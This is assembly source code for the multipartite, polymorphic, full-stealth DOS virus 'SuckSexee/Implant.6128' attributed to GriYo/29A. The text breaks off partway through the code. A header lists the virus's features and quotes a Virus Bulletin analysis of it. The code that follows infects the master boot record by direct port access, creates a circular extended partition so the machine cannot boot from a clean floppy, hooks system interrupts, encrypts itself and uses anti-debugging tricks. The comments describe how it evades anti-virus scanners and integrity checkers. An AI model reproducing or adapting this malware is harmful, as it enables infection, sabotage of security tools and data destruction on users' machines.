; ; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ; ³ SuckSexee Automated Intruder ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ; ³ Viral Implant Bio-Coded by GriYo/29A ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ ; ; Disclaimer: ; ÄÄÄÄÄÄÄÄÄÄÄ ; The author is not responsable of any problems caused due ; to assembly of this file. ; ; Virus description: ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; o Residency: ; ; The virus only goes resident when booting from an infected ; hard drive or floppy disk. ; While infecting files the virus uses UMB memory if ; available. ; ; o Infection: ; ; 1) Hard drive master-boot-record ; ; The virus infects the HD MBR using direct port access ; bypassing some TSR watchdogs and BIOS virus-protection ; features. ; ; 2) Floppy boot sector ; ; SuckSexee formats an extra track on floppy and saves there ; the original BS (for stealth) and its main body. ; ; 3) Files (.COM .EXE and .SYS) ; ; The virus uses low level system file table. ; Files are infected on close, get/set attribute, rename, ; move or upon termination. ; ; o Stealth: ; ; This virus is full-stealth, so the system seems to be clean ; while infected. ; ; 1) Sector level ; ; Attempts to read the HD MBR or floppy boot sector will result ; in a clean copy being returned. ; Attempts to read the sectors were the virus resides will not ; be permitted. ; ; 2) File level ; ; Attempts to read an infected file will result in a clean ; copy being returned, as the virus disinfects files on the ; fly, including if a debugging tool is used to edit the file. ; ; 3) Others... ; ; Directory, search and date/time stealth also supported ; Whenever win.com is executed, the virus adds some ; parameters to avoid problems with Windows 32bit disk access. ; ; o Armoured: ; ; Attempts to write to the HD MBR or the sectors on which the virus ; resides will not be permitted, but no error were returned ; SuckSexee uses extended DOS partition trick, so infected ; computers will not be able to boot from floppy. ; ; o Polymorphism: ; ; SuckSexee is encrypted under two encryption layers utilising a ; polymorphic engine to generate first decryptor algorithm. ; Generated polymorphic decryptor contains several conditional and ; unconditional jumps as well as calls to subroutines and ; interrupts. ; The virus is polymorphic in all its infections. ; This means that SuckSexee is polymorphic on hard drive MBR, ; floppy boot sectors, .COM files, .EXE files and ; also .SYS files. ; While infecting floppy boot sectors the virus reads the ; decryptor at MBR infection and uses it for each floppy. ; While infecting files the virus will use the same decryptor ; for each infected file. ; If the system is rebooted a new mutation will be used ; to infect files. ; SuckSexee uses a timer to avoid multiple mutations in a ; short period of time. ; ; o Retro: ; ; Polymorphic engine uses slow mutation technics (see note above). ; The virus avoids some self-check executables being infected. ; SuckSexee waits over 10 min. before it starts infecting files. ; The virus does not infect files that have V character or ; digit(s) in their names. ; Command line parameters force TbScan to use compatibility ; mode (so files can be stealthed and infected while ; scanning) and skip memory scanning. ; The virus encrypts the original MBR for a difficult recovery. ; ; ; Virus Bulletin speaks ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Thanks to mgl for the typing :) ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; ; VIRUS BULLETIN MAY 1997 ; ; Silicon Implants ; ; Igor Muttik ; Dr Solomon's Software Ltd ; ; ; In February this Year, I received some flies which had been ; downloaded from an Internet virus exchange site and ; forwarded to us for analysis. 'Ah, the usual rubbish...', I ; thought; for it is rare to get new (let alone interesting!) ; viruses from such sources - if a file is not already identified ; as containing a known virus, it is usually either a corrupted ; virus, or not a virus at all. It looked as though this would ; again be the case, but then, amongst these files, I came ; across a new virus - Implant.6128. ; ; Implant is unusual in many aspects - it has full stealth, and ; is both polymorphic and multi-partite. Stranger still, it works ; reliably - I have never seen a virus so complex and yet so ; stable. After all, it is both well known and intuitively obvious ; that as software gets more complex, it has more bugs. ; ; In my opinion, this explains perfectly why primitive computer ; viruses (most boot sector and macro infectors) are the most ; common in the wild. Sophisticated viruses have more bugs, ; and thus have a smaller chance of surviving unnoticed in the ; field. Implant is a rare exception to this general rule. ; ; Returning to the virus' specifics, it is extremely polymorphic. ; The complexity of its decryptor by far exceeds that of ; many other famous polymorphic viruses. It is also extremely ; multi-partite, infecting COM, EXE and SYS files as well as ; the hard disk MBR and floppy boot sectors. ; ; Finally, Implant makes it impossible to boot the computer ; from a clean DOS system diskette: it does this using the ; circular extended partition technique, first seen implemented ; in Rainbow [see VB, September- 1995, P. 12]. ; ; ; Initial Infection ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; When an infected file is run, or the infected floppy is left in ; the A: drive at boot time, the virus takes control in the ; traditional manner. After it decrypts itself, it checks the ; processor type: if the computer is 8088- or 80286-based (i.e. ; is an XT or an AT). Implant immediately infects another ; file. However, if the machine is an 80386 or above, the virus ; issues its 'Are you there?' call - Int 12h, CX=029Ah, SI=OBADH, ; DI=FACEh. ; ; If, on return from the call, the SI and DI registers are set to ; DEADH and BABEH respectively (I wonder how many other ; words can be squeezed into 16 bits?) the virus assumes it is ; already active and proceeds to infect a file. Otherwise (if it ; is not already resident), it creates an array of 1024 random ; bytes (which will later be used by the virus' polymorphic ; engine) and passes control to the hard disk infection routine. ; This routine copies the MBR to sector 3 on track 0, and then ; finds the active partition record in the partition table, ; checking whether it is a 16-bit FAT DOS system (that is, the ; type field is set to 4 or 6). ; ; If so, Implant removes the active flag, sets the partition type ; to 5 (Extended DOS partition) and makes the pointer to its ; first sector point to the MBR (creating a so-called 'circular ; extended partition'). ; ; Then the virus analyses the code in the MBR: it follows the ; jump chain (if present), and puts its code at the destination ; of the final jump - the virus code is such that it needs to ; leave only 35 bytes in the MBR! Implant next writes the ; MBR back to disk by direct manipulation of I/0 ports (this ; will make it compatible with IDE and MFM drives, but ; not SCSI). ; ; After the write attempt, the virus rereads the MBR and ; checks whether the checksum of what was read matches ; what was written. If not, the virus gives up, and passes ; control to the host program. ; ; Then the virus writes its body into 12 sectors on track 0 ; starting at sector 4, right after the saved MBR. Implant does ; not forget to check whether there is sufficient space on ; track 0 - if there are fewer than 13 sectors before the start of ; an active partition, the virus will not infect the hard drive. ; nor modify anything on track 0. ; ; Implant does not recognize itself in the MBR. It just checks ; whether a resident copy is already present using its 'Are you ; there?' call. If it is not in memory, it loads the MBR and ; scans for an active partition. An already-infected MBR will ; not have this, so the infection will fail at this point - there is ; no risk of multiple infection. ; ; There are two main branches in the virus code. If the virus is ; run from a file (COM, EXE or SYS), control transfers to the ; host and nothing is left resident in memory. If, however, the ; virus is run from a boot sector (either that of a floppy or the ; hard disk's MBR), it seizes 7KB of DOS memory (by the ; familiar technique of reducing the word at memory offset ; [0:413h]), copies itself to the newly-created hole in memory ; just beneath the top of conventional memory, and intercepts ; some system interrupts. ; ; The method by which the virus infects the hard drive means ; that an MS-DOS system floppy cannot be used to clean-boot ; an Implant-infected PC. The circular extended partition will ; make MS-DOS v5 onwards, Novell DOS 7, and DR-DOS 6 ; hang. Fortunately, it is still possible to use versions 3.30 or ; 4.0 of MS-DOS, or PC-DOS 5 and 6, which will boot ; without problem. After booting, however, drive C will still, ; of course, be inaccessible: attempts to access this drive will ; result in the error 'Invalid drive specification'. ; ; ; Booting the Infected System ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; When booting, the virus hooks interrupts 12h (self-recogni- ; tion and stealth), 13h (disk I/0: for stealth and to infect ; floppies), and 1Ch (timer; to intercept DOS interrupts later ; on). All three are used to intercept Int 21 h: the virus can do ; this in three ways: ; ; - thirty seconds after the computer is booted (checked ; using Int 1Ch) ; ; - when an infected program is run: when such a proaram ; issues the 'Are you there?' Int 12h call (see above) the ; resident copy of a virus will immediately hook Int 21h ; ; - when a program attempts to write to disk using Int 13h ; ; The virus has specific knowledge of some versions of DOS. ; and tries to get the real DOS entry point by following the ; jumps and doing some checks. If an attempt to get the real ; entry point fails, the virus simply uses the one taken from ; the Interrupt Vector Table. ; ; When the virus has hooked Int 21h, it monitors the following ; DOS functions: 2Ah (Get date; used in a payload), 4B00h ; (Exec), 3Eh (Close), 43h (Attribute), 56h (Rename/Move), ; 4Ch (Terminate), 3Dh (Open), 6Ch (Open/Create). 11h/12h ; (Findfirst/Findnext FCB), 4Eh/4Fh (Findfirst/Findnext), 3Fh ; (Read), 4B01h (Load), 40h (Write), 5700h (Get timestamp), ; 5701h (Set timestamp). These functions are used to infect ; files and conceal infection (full stealth). ; ; During infection, the virus also intercepts Int 24h (Critical ; error handler) to suppress error messaaes. ; ; ; Infection of Files ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; The virus infects files as they are run or opened. However, if ; any infected files are copied to diskette, the files on the ; diskette will be clean (despite the fact that the diskette's ; boot sector is infected) - Implant is 'full stealth'. Running ; the file from the floppy does not infect it either. How, then. ; are infected files passed between users? ; ; The first thing the virus checks when any program calls any ; monitored DOS function is the program's name, paying ; special attention to files named AR*.*, PK*.*. LH*.*, and ; BA*.* (archiving utilities, specifically, ARJ, PKZIP, LHA ; and BACKUP). This information is used to turn off stealth ; mode when any of these archivers is executed. Thus, the ; virus ensures all executable files are packed into archives ; and backups are infected, whether on floppy or hard disk. ; ; Further, it will not infect files called TB*.*, SC*.*, F-*.*, ; GU*.*, nor those containing the letters V, MO, IO, DO, IB ; or the digits 0-9. Thus the virus avoids a wide variety of ; anti-virus programs, DOS system files, and goat files used ; by virus researchers (which usually have digits in the name). ; ; Implant infects only files with the extensions COM, EXE ; and SYS. COM and SYS files longer than 52801 bytes are ; not infected. Files with time-stamps set to 62 seconds are ; assumed already infected - this is the virus' infection stamp. ; ; To check whether a file is an EXE file, the virus adds the ; first two bytes of the file (for an EXE file, 4D5A or 5A4D) ; together: if the sum is A7h (A7h=4Dh+5Ah), the file is ; assumed to have an EXE header. Simple and elegant. ; ; When resident, Implant denies access to files named ; CHKLIS*.*. These patterns match CHKLIST.MS or ; CHKLIST.CPS, and prevent Microsoft's and Central ; Point's scanners from working properly. ; ; If WIN.COM is executed, the virus adds a parameter ID:F to ; the program's command-line. This argument turns off ; Windows' 32-bit disk access, which enables infection of ; floppies accessed from within Windows. If TBSCAN is ; executed, the virus adds the command-line parameters 'co' ; and 'nm', which instruct the program to skip the memory ; cheek and not use direct disk access ('compatibility mode'). ; ; ; Infection of Floppies ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; The floppy disk boot sector is infected in much the same ; manner as the MBR. The virus follows the jump chain in the ; floppy boot sector and writes 35 bytes of its code there. The ; encrypted polymorphic virus body is placed on a floppy on ; an additional track (number 80) which it first formats. This ; track will have 13 sectors: the first will carry a copy of an ; original boot sector: the rest will be occupied by the ; encrypted virus body. To infect floppy disks, Implant uses ; Int 40h, which usually points to BIOS code. ; ; The virus infects only 1.2MB or 1.44MB floppies. It checks ; the total amount of sectors on the media (the word at offset ; 13h in the boot sector) and proceeds with infection only if ; the number of sectors is B40h or 960h (2880 or 2400, ; respectively). For self-recognition, the virus cheeks the two ; letters at offset 21 h from the last jump in the chain (if any): ; all infected floppies contain the marker 'CR' at this point. ; ; There is a bug in floppy infection: if the boot sector starts ; with a JMP (opcode E9h, not usual EBh), the virus code is ; inserted 1 byte lower than necessary. Still, the virus is able ; to work as the first instruction of its code is CLI, which ; takes just 1 byte and is not absolutely necessary. ; ; ; Polymorphic Engine ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Implant's polymorphic engine is very powerful. Suffice it to ; say that it supports subroutines, conditional jumps with non- ; zero displacement, and memory writes. This engine takes a ; good half of the virus' code. ; ; The engine makes extensive use of the table of random bytes, ; created during the initialization phase. The approach of ; using a table generated just once during the installation of ; the virus into memory classifies Implant as a slow polymor- ; phic. This means that the variety of the polymorphic ; decryptors is artificially limited until the next reboot of the ; PC. It poses some problems for anti-virus researchers, as it ; becomes difficult to create enough files infected in enough ; different ways to test detection. ; ; Files are encrypted in two layers: the first is polymorphic: ; the second is simple XOR encryption with a slightly ; variable decrylptor. Some attempts are made to prevent ; tracing the second decryptor, but no anti-emulation tricks ; are used. ; ; ; Stealth Properties ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Implant stealths its modifications to the MBR and FBR. The ; virus also does not allow writes to the sectors on track 0 ; which are used by the MBR copy and the virus body ; (sectors 03h to 0Fh). ; ; If any of the programs ME*.*. CH*.*, SY*.*, SM*.* is run ; (these patterns appear to be intended to match MEM. ; CHKDSK. SYSINFO and SMAP) the virus spoofs the value ; returned by Int 12h (free RAM) by adding 7K to the real ; figure. Hence, the amount of memory is reported as it was ; before infection. ; ; The stealthing of infected files is more sophisticated than ; that of the MBR and floppy boot sector. Most modern ; stealth viruses do 'semi-stealth' (just the change in the file ; size is concealed). Implant, on the other hand, is full stealth, ; so when the virus is active. even integrity checking pro- ; grams will not report any file modifications. ; ; A common problem to all stealth viruses is how, to suppress ; error messagres from the CHKDSK utility. When run on a ; system infected with a stealth virus. CHKDSK reports ; allocation errors, because reported file sizes do not match ; their actual sizes (i.e. the reported size in bytes does not ; match the number of clusters in the file allocation table). ; Implant recognizes that CHKDSK.EXE (or a similar utility) ; is being run, and turns off its stealth routine whilst the disk ; check is performed. ; ; If there is any doubt as to whether or not a PC is infected by ; Implant, the easiest way to check is to create a file called ; CHKLIST. If there are problems accessing this file, the virus ; is almost certainly resident. To check if a particular execut- ; able is infected, it is probably easiest to pack the file into an ; archive and check whether the size inside is the same as ; outside. If not, the file is infected. ; ; ; Payload ; ÄÄÄÄÄÄÄ ; Implant's payload triggers on 4 June. after any program asks ; for the system date. The payload is buggy: it was apparently ; supposed to destroy the contents of track 0, rendering the ; system unusable, but the virus itself rejects the attempt to ; overwrite the infected MBR ! So, the destructive part of the ; payload does not work. ; ; After this unsuccessful attempt to zap itself, the virus slowly, ; types the following text in the middle of the screen (green ; letters on a black background, accompanied by a rattling, ; perhaps meant to resemble the noise of a typewriters): ; ; ; <<< SuckSexee Automated Intruder >>> ; Viral Implant Bio-Coded by GriYo/29A ; ; ; Then the PC freezes. After a reboot (until you chance the ; CMOS clock setting) the payload will eventually trigger ; agrain because some program, sooner or later, will try to get ; the system date - and the cycle will begin again... ; ; ; Summary ; ÄÄÄÄÄÄÄ ; Implant impressed me. It is definitely written by a talented ; person - it is a pity, his skills are used so destructively. I ; recently received another interesting virus (Gollum.7167) ; from the same author (carrying the signature 'GriYo/29A'): ; it spreads via infected standard DOS EXE files which drop a ; VxD in Windows'SYSTEM directory (called GOLLUM.386) ; and registers it in SYSTEM.INI. When Windows is started, ; the VxD becomes active and will infect DOS EXE files run ; in the DOS box. This virus again shows that GriYo uses ; approaches that are neither common nor trivial. ; ; I wonder if this is talent comparable to the Dark Avenger or ; the author of One Half? I sincerely hope such a gifted ; person will find better thing to do than write viruses. ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; ; And finally... ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Greetings go to the following generation: ; ; AúGuS & Company ............ SuckSexee people rulez ; Absolute Overlord .......... PolyMorphic OpCode GENerator ; Mister Sandman ............. Mississippi ruleeez, hahaha! ; All the 29Aers ............. 29A 3LiT3 ;) ; ; And all the replicants usually at #virus ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Let's have some fun! ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ .286 launcher segment para 'CODE' assume cs:launcher,ds:launcher,es:launcher,ss:launcher org 0000h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Equates, equates, equates... ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ;Virus size in infections inf_byte_size equ virus_data_buffer-virus_entry ;Virus infection size in parragraphs inf_para_size equ (inf_byte_size+0Fh)/0010h ;Virus infection size in sectors inf_sect_size equ (inf_byte_size+01FFh)/0200h ;Virus size in memory mem_byte_size equ virus_end_buffer-virus_entry ;Virus size in memory in Kb mem_kb_size equ (mem_byte_size+03FFh)/0400h ;Virus size in memory in parragraphs mem_para_size equ (mem_byte_size+0Fh)/0010h ;Decryptor size in bytes decryptor equ virus_body-virus_entry ;Second decryptor size in bytes second_size equ second_body-virus_entry ;Boot code size in bytes boot_size equ boot_end-boot_code ;File header size file_header_size equ 1Ch ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Virus entry-point for all its targets ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ virus_entry: ;Space for decryptor or random data block db 0400h dup (90h) virus_body: ;Get delta offset stored on infection ( mov bp,xxxx ) db 0BDh file_delta dw 0000h ;Save segment registers push ds push es ;Save bx ( pointer to parameter block when calling .sys ) push bx ;Setup segment regs mov ax,cs mov ds,ax mov es,ax avoid_decryptor: ;Avoid second decryptor on first virus generation jmp short second_body ;Perform second decryption loop mov cx,inf_byte_size-second_size+01h ;Get pointer to decryption zone and return address lea ax,word ptr [second_body][bp] ;Save return address push ax ;Load pointers mov si,ax mov di,ax ;Get decryption key mov bl,byte ptr cs:[clave_crypt][bp] second_loop: ;Decrypt one byte cld lodsb sub al,bl ;Do shit with stack (will fool some emulators) push ax pop dx cli mov ax,0002h sub sp,ax sti pop ax cmp ax,dx jne second_loop ;Store decrypted byte cld stosb ;Call to int 03h for anti debug int 03h ;Modify key inc bl loop second_loop ;Clear prefetch db 0EBh,00h ;Jump to decryption zone ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Start of double-encrypted area ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ second_body: ;Check cpu type (SuckSexee needs 286+) mov al,02h mov cl,21h shr al,cl or al,al jz control_back ;Installation check mov si,00BADh mov di,0FACEh xor cx,cx ;Check if running in mbr, floppy boot sector or .sys file cmp word ptr ds:[exit_address][bp],offset exit_exe - \ offset host_ret je exe_com_installation cmp word ptr ds:[exit_address][bp],offset exit_com - \ offset host_ret jne others_installation exe_com_installation: ;This will advertise to the already resident virus that ;its time to hook int 21h if isnt hooked mov cx,029Ah others_installation: ;Installation check works with int 12h coz can be called ;from mbr or from files... and also coz id like number 12h int 12h cmp si,0DEADh jne not_resident cmp di,0BABEh jne not_resident control_back: ;Get control back to infected target db 0EBh,00h ;Load offset of exit address into bx db 0E9h exit_address dw offset exit_launcher - offset host_ret host_ret equ this byte ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Infect hd mbr ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ not_resident: ;Enable second decryption loop mov word ptr [avoid_decryptor][bp],9090h ;Generate a block of random data over decryptor routine ;(that routine havent any use at this point so we can use ;its memory space) ;Polymorphic engine will use this data later for its ;slow mutation procedures ;This is better than other slow mutation engines i saw ;coz it produces several mutations of the virus on the ;same machine, but not enough mutations for ;analisys mov di,bp mov cx,decryptor fill_rnd_1: call random_number cld stosb loop fill_rnd_1 ;Reset disk controler xor ah,ah mov dx,0080h int 13h ;Read mbr mov ax,0201h mov cx,0001h lea bx,word ptr [virus_copy][bp] int 13h jnc ok_read_mbr jmp go_memory ok_read_mbr: ;Check for mbr marker cmp word ptr ds:[bx+01FEh],0AA55h jne no_mbr_infection ;Search active partition lea si,word ptr [virus_copy+01BEh][bp] mov cl,04h search_active: cmp byte ptr ds:[si],dl je found_active add si,10h loop search_active no_mbr_infection: ;Exit if no active partition found ;This is also the way on witch the virus marks ;infected mbr jmp go_memory found_active: ;Check partition type mov al,byte ptr ds:[si+04h] ;Dos 16bit-fat? cmp al,04h je partition_type_ok ;Dos 4.0+ 32Mb? cmp al,06h je partition_type_ok ;Exit if virus cant handle such partition type jmp go_memory partition_type_ok: ;Check if enougth sectors before partition cmp byte ptr ds:[si+08h],inf_sect_size+01h jb go_memory ;Crypt original mbr call crypt_sector ;Write original mbr for stealth mov ax,0301h mov cl,03h int 13h jc go_memory ;Restore sector call crypt_sector ;By using this trick the computer cant be booted ;from a system floppy ;Set partition type as extended dos partition mov byte ptr ds:[si+04h],05h ;Disable partition and set head to 00h xor ax,ax mov word ptr ds:[si],ax inc ax ;Set partition starting at cilinder 00h sector 01h mov word ptr ds:[si+02h],ax ;Save position of virus body in hd ;(side 00h track 00h sector 04h) inc cl mov word ptr ds:[load_cx][bp],cx ;Get position of code into mbr call get_position ;Move virus loader over boot sector code lea si,word ptr [boot_code][bp] mov cx,boot_size cld rep movsb ;Write infected mbr call hd_write_port ;Save exit address push word ptr ds:[exit_address][bp] ;This will tell the virus that this is a mbr infection mov word ptr ds:[exit_address][bp],offset exit_mbr - \ offset host_ret ;Clear dos running switch sub ax,ax mov byte ptr ds:[running_sw][bp],al ;Clear dos loaded flag mov byte ptr ds:[dos_flag][bp],al ;Clear file infection flag mov byte ptr ds:[file_infection_flag][bp],al ;Reset virus timer mov word ptr ds:[virus_timer][bp],ax ;Set delta offset for mbr poly engine mov word ptr ds:[file_delta][bp],7E00h ;Save pointer to polymorphic engine working buffer mov word ptr ds:[poly_working_off][bp],bx mov word ptr ds:[poly_working_seg][bp],es ;Perform encryption call do_encrypt ;Write virus body mov ax,0300h+inf_sect_size mov cl,04h int 13h ;Restore exit address pop word ptr ds:[exit_address][bp] ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Go memory resident if running from mbr or floppy boot sector ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ go_memory: ;Running from hd mbr or floppy bs? cmp word ptr cs:[exit_address][bp],offset exit_mbr - \ offset host_ret jne running_in_file ;Allocate some bios memory sub di,di mov es,di sub word ptr es:[0413h],mem_kb_size mov ax,word ptr es:[0413h] ;Copy virus to allocated memory mov cl,06h shl ax,cl mov es,ax mov si,bp mov cx,inf_byte_size cld rep movsb ;Hook ints push es pop ds ;Get int 12h vector mov al,12h call get_int ;Save old int 12h mov word ptr ds:[old12h_off],bx mov word ptr ds:[old12h_seg],es ;Hook int 12h mov dx,offset my_int12h call set_int ;Get int 13h vector inc al call get_int ;Save old int 13h mov word ptr ds:[old13h_off],bx mov word ptr ds:[old13h_seg],es ;Hook int 13h mov dx,offset my_int13h call set_int ;Get int 1Ch vector mov al,1Ch call get_int ;Save old int 1Ch mov word ptr ds:[old1Ch_off],bx mov word ptr ds:[old1Ch_seg],es ;Hook int 1Ch mov dx,offset my_int1Ch call set_int ;Get int 40h vector mov al,40h call get_int ;Save old int 40h mov word ptr ds:[old40h_off],bx mov word ptr ds:[old40h_seg],es running_in_file: ;Return to boot sequence jmp control_back ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Exit from infected hd mbr or floppy boot sector ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ exit_mbr: ;Get .sys parameter block pointer out of stack pop bx ;Restore segment registers pop es pop ds ;Reboot system int 19h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Exit from .sys infected files ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ exit_sys: ;Point to old .sys header ( offset of strategy routine address ) lea si,word ptr [old_header+0006h][bp] mov di,0006h cld lodsw stosw ;Get .sys parameter block pointer pop bx ;Restore segment registers pop es pop ds ;Get control back to strategy subroutine push cs push ax ;Clear some regs xor ax,ax xor cx,cx xor dx,dx xor si,si xor di,di xor bp,bp retf ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Exit from .com infected files ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ exit_com: ;Restore first three bytes lea si,word ptr [old_header][bp] mov di,0100h mov cx,0003h cld rep movsb ;Get .sys parameter block pointer pop bx ;Restore segment registers pop es pop ds ;Get control back to host push cs push 0100h ;Clear some regs xor ax,ax xor bx,bx xor cx,cx xor dx,dx xor si,si xor di,di xor bp,bp retf ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Exit from .exe infected files ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ exit_exe: ;Get .sys parameter block pointer pop bx ;Restore segment registers pop es pop ds ;Get active psp mov ah,62h int 21h add bx,10h add word ptr cs:[exe_cs][bp],bx ;Restore stack cli add bx,word ptr cs:[old_header+0Eh][bp] mov ss,bx mov sp,word ptr cs:[old_header+10h][bp] sti ;Clear some regs xor ax,ax xor bx,bx xor cx,cx xor dx,dx xor si,si xor di,di xor bp,bp sti ;Clear prefetch db 0EBh,00h ;Jump to original entry point db 0EAh exeret equ this byte exe_ip dw 0000h 